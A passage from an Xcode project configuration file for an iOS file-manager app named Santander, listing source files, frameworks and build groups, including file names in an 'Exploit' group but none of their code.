SettingsTableViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0C42865CF7C00BDDA16 /* SettingsTableViewController.swift */; };\n\t\t37C6E0C828662C4100BDDA16 /* DragAndDrop.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0C728662C4100BDDA16 /* DragAndDrop.swift */; };\n\t\t37C6E0CA28662C6800BDDA16 /* PathsSortMethods.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0C928662C6800BDDA16 /* PathsSortMethods.swift */; };\n\t\t37C6E0CE28665B2A00BDDA16 /* PathOperationViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0CD28665B2A00BDDA16 /* PathOperationViewController.swift */; };\n\t\t37C6E0D028673AFF00BDDA16 /* Search.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0CF28673AFF00BDDA16 /* Search.swift */; };\n\t\t37C6E0D22867653A00BDDA16 /* PathSidebarListViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0D12867653A00BDDA16 /* PathSidebarListViewController.swift */; };\n\t\t37CA828A28AA675B000236D7 /* AppInfoViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37CA828928AA675B000236D7 /* AppInfoViewController.swift */; };\n\t\t37DE0FA22864902400E5EBBC /* FilePreviewDataSource.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37DE0FA12864902400E5EBBC /* FilePreviewDataSource.swift */; };\n\t\t37ECADA728B23ECC00B95733 /* ImageViewerController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37ECADA628B23ECB00B95733 /* ImageViewerController.swift */; };\n\t\t6D6413F72A1E169600DCD315 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413F12A1E169500DCD315 /* helpers.m */; };\n\t\t6D6413F82A1E169600DCD315 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413F22A1E169500DCD315 /* vm_unaligned_copy_switch_race.c */; };\n\t\t6D6413F92A1E169600DCD315 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413F32A1E169600DCD315 /* grant_full_disk_access.m */; };\n\t\t6D6413FB2A1E174A00DCD315 /* Alert++.swift in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413FA2A1E174A00DCD315 /* Alert++.swift */; };\n\t\tCE0D0B002906D6F300D17307 /* GoToItem.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE0D0AFF2906D6F300D17307 /* GoToItem.swift */; };\n\t\tCE0E513028D4D03300E9D611 /* AssetCatalogViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE0E512F28D4D03300E9D611 /* AssetCatalogViewController.swift */; };\n\t\tCE13D1DD28D3572000F5C833 /* RootHelper.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE13D1DC28D3572000F5C833 /* RootHelper.swift */; };\n\t\tCE1F1F7028F7211700E44DF2 /* PathTransitioning.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE1F1F6F28F7211700E44DF2 /* PathTransitioning.swift */; };\n\t\tCE1FDA2A28F20302000A16BE /* AssetCatalogGridPreviewCell.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE1FDA2928F20302000A16BE /* AssetCatalogGridPreviewCell.swift */; };\n\t\tCE2D13D8291D8EE50023F16D /* ArgumentParser in Frameworks */ = {isa = PBXBuildFile; productRef = CE2D13D7291D8EE50023F16D /* ArgumentParser */; };\n\t\tCE2D13DA291D8F210023F16D /* FSOperations in Frameworks */ = {isa = PBXBuildFile; productRef = CE2D13D9291D8F210023F16D /* FSOperations */; };\n\t\tCE2D13DC291D8F460023F16D /* Commands.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE2D13DB291D8F460023F16D /* Commands.swift */; };\n\t\tCE2D13DE291D8F8A0023F16D /* ArgumentParser in Frameworks */ = {isa = PBXBuildFile; productRef = CE2D13DD291D8F8A0023F16D /* ArgumentParser */; };\n\t\tCE37904628DB44C300124029 /* AssetCatalogCell.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE37904528DB44C300124029 /* AssetCatalogCell.swift */; };\n\t\tCE37904A28DB523500124029 /* AssetCatalogSectionHeader.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE37904928DB523500124029 /* AssetCatalogSectionHeader.swift */; };\n\t\tCE41CDD0299695700090B616 /* Path.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE41CDCF299695700090B616 /* Path.swift */; };\n\t\tCE41CDD1299695700090B616 /* Path.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE41CDCF299695700090B616 /* Path.swift */; };\n\t\tCE42B204290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE42B203290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift */; };\n\t\tCE42E24C291A920400187333 /* LoadingValueState.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE42E24B291A920400187333 /* LoadingValueState.swift */; };\n\t\tCE5DFE8328C7BC89003E1095 /* BinaryExecutionViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE5DFE8228C7BC89003E1095 /* BinaryExecutionViewController.swift */; };\n\t\tCE7228ED28E8188D00918C5F /* AssetCatalogRenditionViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE7228EC28E8188D00918C5F /* AssetCatalogRenditionViewController.swift */; };\n\t\tCE7E02E0290006C70046A7D4 /* MobileCoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = CE7E02DE290006C70046A7D4 /* MobileCoreServices.framework */; };\n\t\tCE7E02E1290006C70046A7D4 /* CoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = CE7E02DF290006C70046A7D4 /* CoreServices.framework */; };\n\t\tCE99BC6829951DE0008E31DA /* KeyboardSearchView.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE99BC6729951DE0008E31DA /* KeyboardSearchView.swift */; };\n\t\tCEA33B37291619EB00DD7BAC /* ApplicationsWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B36291619EB00DD7BAC /* ApplicationsWrapper */; };\n\t\tCEA33B39291619EB00DD7BAC /* AssetCatalogWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B38291619EB00DD7BAC /* AssetCatalogWrapper */; };\n\t\tCEA33B3B291619EB00DD7BAC /* CompressionWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B3A291619EB00DD7BAC /* CompressionWrapper */; };\n\t\tCEA33B3F291619EB00DD7BAC /* FSOperations in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B3E291619EB00DD7BAC /* FSOperations */; };\n\t\tCEA33B41291619EB00DD7BAC /* NSTask in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B40291619EB00DD7BAC /* NSTask */; };\n\t\tCEB0566328F156F500B71017 /* BaseLayoutAnchorSupporting.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEB0566228F156F500B71017 /* BaseLayoutAnchorSupporting.swift */; };\n\t\tCECB3A0C28E330BC00328434 /* AssetCatalogDetailsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = CECB3A0B28E330BC00328434 /* AssetCatalogDetailsView.swift */; };\n\t\tCECF6EDA28C37F660080B805 /* FontViewerController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CECF6ED928C37F660080B805 /* FontViewerController.swift */; };\n\t\tCEDAF42028C36B2900DF03E6 /* Runestone in Frameworks */ = {isa = PBXBuildFile; productRef = CEDAF41F28C36B2900DF03E6 /* Runestone */; };\n\t\tCEE06A37291E1E0A00DA8C75 /* CompressionWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEE06A36291E1E0A00DA8C75 /* CompressionWrapper */; };\n\t\tCEE9B2D829C4590E00D6C826 /* ApplicationsWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEE9B2D729C4590E00D6C826 /* ApplicationsWrapper */; };\n\t\tCEE9B2DA29C4591B00D6C826 /* CoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = CEE9B2D929C4591B00D6C826 /* CoreServices.framework */; };\n\t\tCEE9B2DC29C4592700D6C826 /* NSTask in Frameworks */ = {isa = PBXBuildFile; productRef = CEE9B2DB29C4592700D6C826 /* NSTask */; };\n\t\tCEF032BB291ED00700B6F768 /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEF032B8291ED00700B6F768 /* Extensions.swift */; };\n\t\tCEF032BD291ED00700B6F768 /* main.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEF032BA291ED00700B6F768 /* main.swift */; };\n\t\tCEF54FF528C3D4E30078A146 /* FontInformationViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEF54FF428C3D4E30078A146 /* FontInformationViewController.swift */; };\n\t\tCEFF556129153B9B002C1B99 /* DiffableDataSourceItem.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEFF556029153B9B002C1B99 /* DiffableDataSourceItem.swift */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXCopyFilesBuildPhase section */\n\t\t3765393B286920FC00D76430 /* Embed App Extensions */ = {\n\t\t\tisa = PBXCopyFilesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tdstPath = \"\";\n\t\t\tdstSubfolderSpec = 13;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tname = \"Embed App Extensions\";\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXCopyFilesBuildPhase section */\n\n/* Begin PBXFileReference section */\n\t\t3712D318286F7F2E00BCD034 /* TypeSelectionViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TypeSelectionViewController.swift; sourceTree = \"<group>\"; };\n\t\t3713292428B60163009E4AEA /* ImageMetadata.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageMetadata.swift; sourceTree = \"<group>\"; };\n\t\t3713292828B61F98009E4AEA /* ImageMetadataViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageMetadataViewController.swift; sourceTree = \"<group>\"; };\n\t\t3713292A28B74D34009E4AEA /* ImageLocationEditorViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageLocationEditorViewController.swift; sourceTree = \"<group>\"; };\n\t\t37137F7728AED89F00E28069 /* SerializedArrayViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SerializedArrayViewController.swift; sourceTree = \"<group>\"; };\n\t\t37177E4B289F12640025042E /* PathGroupOwnerViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathGroupOwnerViewController.swift; sourceTree = \"<group>\"; };\n\t\t37198B9928721069000C8CDF /* TextEditorThemeSettingsViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TextEditorThemeSettingsViewController.swift; sourceTree = \"<group>\"; };\n\t\t37198B9B28721275000C8CDF /* Themes.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Themes.swift; sourceTree = \"<group>\"; };\n\t\t37198B9E2872DDA6000C8CDF /* KeyboardToolsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeyboardToolsView.swift; sourceTree = \"<group>\"; };\n\t\t374ECDC72875A3940066E9DD /* Storage.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Storage.swift; sourceTree = \"<group>\"; };\n\t\t374ECDC92875F5350066E9DD /* AudioPlayerViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AudioPlayerViewController.swift; sourceTree = \"<group>\"; };\n\t\t375CF896289C394E00BB7C60 /* ToolbarItems.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ToolbarItems.swift; sourceTree = \"<group>\"; };\n\t\t375CF898289C4FF000BB7C60 /* PathMetadata.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathMetadata.swift; sourceTree = \"<group>\"; };\n\t\t375CF89C289CF3A600BB7C60 /* Permissions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Permissions.swift; sourceTree = \"<group>\"; };\n\t\t375CF89E289D969A00BB7C60 /* PathPermissionsViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathPermissionsViewController.swift; sourceTree = \"<group>\"; };\n\t\t375D568C28A5B01600E25591 /* entitlements.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = entitlements.plist; sourceTree = \"<group>\"; };\n\t\t376F749C28BC8A33000E5D77 /* AudioPlayerToolbarView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AudioPlayerToolbarView.swift; sourceTree = \"<group>\"; };\n\t\t3771D37A2862329D00E200B6 /* Extensions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = \"<group>\"; };\n\t\t3771D37E2862493E00E200B6 /* PathInformationTableViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathInformationTableViewController.swift; sourceTree = \"<group>\"; };\n\t\t3787DB0428ABECF200ACA60B /* FileEditorType.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileEditorType.swift; sourceTree = \"<group>\"; };\n\t\t3787DB0628ACB74D00ACA60B /* SerializedDocumentViewController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SerializedDocumentViewController.swift; sourceTree = \"<group>\"; };\n\t\t3787DB0928ACE4EE00ACA60B /* SerializedItemViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SerializedItemViewController.swift; sourceTree = \"<group>\"; };\n\t\t3787DB0B28ACE5E200ACA60B /* SerializedItemType.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SerializedItemType.swift; sourceTree = \"<group>\"; };\n\t\t3789B5DC28622B7A00058688 /* Santander.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Santander.app; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t3789B5DF28622B7A00058688 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = \"<group>\"; };\n\t\t3789B5E128622B7A00058688 /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = \"<group>\"; };\n\t\t3789B5E828622B7C00058688 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = \"<group>\"; };\n\t\t3789B5EB28622B7C00058688 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = \"<group>\"; };\n\t\t3789B5ED28622B7C00058688 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"<group>\"; };\n\t\t3789B5F328622E0D00058688 /* PathListViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathListViewController.swift; sourceTree = \"<group>\"; };\n\t\t37932F042863205F00BF48C8 /* UserPreferences.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UserPreferences.swift; sourceTree = \"<group>\"; };\n\t\t37934DB628707F4500D1248A /* TextFileEditorViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TextFileEditorViewController.swift; sourceTree = \"<group>\"; };\n\t\t37963F122869C96C00C4B72A /* PathType.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathType.swift; sourceTree = \"<group>\"; };\n\t\t37963F16286A0F0B00C4B72A /* DirectoryMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DirectoryMonitor.swift; sourceTree = \"<group>\"; };\n\t\t37C6E0C42865CF7C00BDDA16 /* SettingsTableViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SettingsTableViewController.swift; sourceTree = \"<group>\"; };\n\t\t37C6E0C728662C4100BDDA16 /* DragAndDrop.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DragAndDrop.swift; sourceTree = \"<group>\"; };\n\t\t37C6E0C928662C6800BDDA16 /* PathsSortMethods.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathsSortMethods.swift; sourceTree = \"<group>\"; };\n\t\t37C6E0CD28665B2A00BDDA16 /* PathOperationViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathOperationViewController.swift; sourceTree = \"<group>\"; };\n\t\t37C6E0CF28673AFF00BDDA16 /* Search.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Search.swift; sourceTree = \"<group>\"; };\n\t\t37C6E0D12867653A00BDDA16 /* PathSidebarListViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathSidebarListViewController.swift; sourceTree = \"<group>\"; };\n\t\t37CA828928AA675B000236D7 /* AppInfoViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppInfoViewController.swift; sourceTree = \"<group>\"; };\n\t\t37DE0FA12864902400E5EBBC /* FilePreviewDataSource.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FilePreviewDataSource.swift; sourceTree = \"<group>\"; };\n\t\t37ECADA628B23ECB00B95733 /* ImageViewerController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageViewerController.swift; sourceTree = \"<group>\"; };\n\t\t6D6413EF2A1E165300DCD315 /* SantanderHeader.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SantanderHeader.h; sourceTree = \"<group>\"; };\n\t\t6D6413F12A1E169500DCD315 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = \"<group>\"; };\n\t\t6D6413F22A1E169500DCD315 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = \"<group>\"; };\n\t\t6D6413F32A1E169600DCD315 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = \"<group>\"; };\n\t\t6D6413F42A1E169600DCD315 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = \"<group>\"; };\n\t\t6D6413F52A1E169600DCD315 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = \"<group>\"; };\n\t\t6D6413F62A1E169600DCD315 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = \"<group>\"; };\n\t\t6D6413FA2A1E174A00DCD315 /* Alert++.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Alert++.swift\"; sourceTree = \"<group>\"; };\n\t\tCE0D0AFF2906D6F300D17307 /* GoToItem.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GoToItem.swift; sourceTree = \"<group>\"; };\n\t\tCE0E512F28D4D03300E9D611 /* AssetCatalogViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogViewController.swift; sourceTree = \"<group>\"; wrapsLines = 1; };\n\t\tCE13D1DC28D3572000F5C833 /* RootHelper.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RootHelper.swift; sourceTree = \"<group>\"; };\n\t\tCE1F1F6F28F7211700E44DF2 /* PathTransitioning.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathTransitioning.swift; sourceTree = \"<group>\"; };\n\t\tCE1FDA2928F20302000A16BE /* AssetCatalogGridPreviewCell.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogGridPreviewCell.swift; sourceTree = \"<group>\"; };\n\t\tCE2D13DB291D8F460023F16D /* Commands.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Commands.swift; sourceTree = \"<group>\"; };\n\t\tCE33E5502900166000DB4D44 /* .github */ = {isa = PBXFileReference; lastKnownFileType = folder; path = .github; sourceTree = \"<group>\"; };\n\t\tCE37904528DB44C300124029 /* AssetCatalogCell.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AssetCatalogCell.swift; sourceTree = \"<group>\"; };\n\t\tCE37904928DB523500124029 /* AssetCatalogSectionHeader.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogSectionHeader.swift; sourceTree = \"<group>\"; };\n\t\tCE3E8FC228FF24D3001B8FAA /* Makefile */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.make; path = Makefile; sourceTree = \"<group>\"; };\n\t\tCE41CDCF299695700090B616 /* Path.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Path.swift; sourceTree = \"<group>\"; };\n\t\tCE42B203290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogSidebarListView.swift; sourceTree = \"<group>\"; };\n\t\tCE42E24B291A920400187333 /* LoadingValueState.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LoadingValueState.swift; sourceTree = \"<group>\"; };\n\t\tCE5DFE8228C7BC89003E1095 /* BinaryExecutionViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BinaryExecutionViewController.swift; sourceTree = \"<group>\"; };\n\t\tCE7228EC28E8188D00918C5F /* AssetCatalogRenditionViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogRenditionViewController.swift; sourceTree = \"<group>\"; };\n\t\tCE7E02DE290006C70046A7D4 /* MobileCoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileCoreServices.framework; path = System/Library/Frameworks/MobileCoreServices.framework; sourceTree = SDKROOT; };\n\t\tCE7E02DF290006C70046A7D4 /* CoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreServices.framework; path = System/Library/Frameworks/CoreServices.framework; sourceTree = SDKROOT; };\n\t\tCE99BC6729951DE0008E31DA /* KeyboardSearchView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeyboardSearchView.swift; sourceTree = \"<group>\"; };\n\t\tCEB0566228F156F500B71017 /* BaseLayoutAnchorSupporting.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BaseLayoutAnchorSupporting.swift; sourceTree = \"<group>\"; };\n\t\tCEC433C028FF20B400C18BD8 /* RootHelper */ = {isa = PBXFileReference; explicitFileType = \"compiled.mach-o.dylib\"; includeInIndex = 0; path = RootHelper; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\tCECB3A0B28E330BC00328434 /* AssetCatalogDetailsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogDetailsView.swift; sourceTree = \"<group>\"; };\n\t\tCECF6ED928C37F660080B805 /* FontViewerController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontViewerController.swift; sourceTree = \"<group>\"; };\n\t\tCEE9B2D929C4591B00D6C826 /* CoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreServices.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/CoreServices.framework; sourceTree = DEVELOPER_DIR; };\n\t\tCEF032B8291ED00700B6F768 /* Extensions.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = \"<group>\"; };\n\t\tCEF032BA291ED00700B6F768 /* main.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = main.swift; sourceTree = \"<group>\"; };\n\t\tCEF54FF428C3D4E30078A146 /* FontInformationViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontInformationViewController.swift; sourceTree = \"<group>\"; };\n\t\tCEFF556029153B9B002C1B99 /* DiffableDataSourceItem.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DiffableDataSourceItem.swift; sourceTree = \"<group>\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\t3789B5D928622B7A00058688 /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tCEDAF42028C36B2900DF03E6 /* Runestone in Frameworks */,\n\t\t\t\tCEA33B3F291619EB00DD7BAC /* FSOperations in Frameworks */,\n\t\t\t\tCEA33B41291619EB00DD7BAC /* NSTask in Frameworks */,\n\t\t\t\tCE2D13D8291D8EE50023F16D /* ArgumentParser in Frameworks */,\n\t\t\t\tCE7E02E0290006C70046A7D4 /* MobileCoreServices.framework in Frameworks */,\n\t\t\t\tCEA33B39291619EB00DD7BAC /* AssetCatalogWrapper in Frameworks */,\n\t\t\t\tCE7E02E1290006C70046A7D4 /* CoreServices.framework in Frameworks */,\n\t\t\t\tCEA33B37291619EB00DD7BAC /* ApplicationsWrapper in Frameworks */,\n\t\t\t\tCEA33B3B291619EB00DD7BAC /* CompressionWrapper in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\tCEC433BD28FF20B400C18BD8 /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tCEE9B2DA29C4591B00D6C826 /* CoreServices.framework in Frameworks */,\n\t\t\t\tCE2D13DE291D8F8A0023F16D /* ArgumentParser in Frameworks */,\n\t\t\t\tCEE9B2DC29C4592700D6C826 /* NSTask in Frameworks */,\n\t\t\t\tCE2D13DA291D8F210023F16D /* FSOperations in Frameworks */,\n\t\t\t\tCEE06A37291E1E0A00DA8C75 /* CompressionWrapper in Frameworks */,\n\t\t\t\tCEE9B2D829C4590E00D6C826 /* ApplicationsWrapper in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\t3713292628B618AD009E4AEA /* Image */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t37ECADA628B23ECB00B95733 /* ImageViewerController.swift */,\n\t\t\t\t3713292A28B74D34009E4AEA /* ImageLocationEditorViewController.swift */,\n\t\t\t\t3713292828B61F98009E4AEA /* ImageMetadataViewController.swift */,\n\t\t\t);\n\t\t\tpath = Image;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t374ECDC62875A3710066E9DD /* Preferences */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t37932F042863205F00BF48C8 /* UserPreferences.swift */,\n\t\t\t\t374ECDC72875A3940066E9DD /* Storage.swift */,\n\t\t\t);\n\t\t\tpath = Preferences;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3758315C28B4D2E9001E63F2 /* TextEditor */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t37198B9928721069000C8CDF /* TextEditorThemeSettingsViewController.swift */,\n\t\t\t\t37934DB628707F4500D1248A /* TextFileEditorViewController.swift */,\n\t\t\t\t37198B9B28721275000C8CDF /* Themes.swift */,\n\t\t\t\t37198B9E2872DDA6000C8CDF /* KeyboardToolsView.swift */,\n\t\t\t\tCE99BC6729951DE0008E31DA /* KeyboardSearchView.swift */,\n\t\t\t);\n\t\t\tpath = TextEditor;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t376F749E28BC8A4F000E5D77 /* Audio */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t374ECDC92875F5350066E9DD /* AudioPlayerViewController.swift */,\n\t\t\t\t376F749C28BC8A33000E5D77 /* AudioPlayerToolbarView.swift */,\n\t\t\t);\n\t\t\tpath = Audio;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3771D3782862328400E200B6 /* Other */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t6D6413FA2A1E174A00DCD315 /* Alert++.swift */,\n\t\t\t\t6D6413F02A1E168600DCD315 /* Exploit */,\n\t\t\t\tCEB0566228F156F500B71017 /* BaseLayoutAnchorSupporting.swift */,\n\t\t\t\t3771D37A2862329D00E200B6 /* Extensions.swift */,\n\t\t\t\tCE0D0AFF2906D6F300D17307 /* GoToItem.swift */,\n\t\t\t\t375CF898289C4FF000BB7C60 /* PathMetadata.swift */,\n\t\t\t\t37963F122869C96C00C4B72A /* PathType.swift */,\n\t\t\t\t375CF89C289CF3A600BB7C60 /* Permissions.swift */,\n\t\t\t\t3713292428B60163009E4AEA /* ImageMetadata.swift */,\n\t\t\t\t374ECDC62875A3710066E9DD /* Preferences 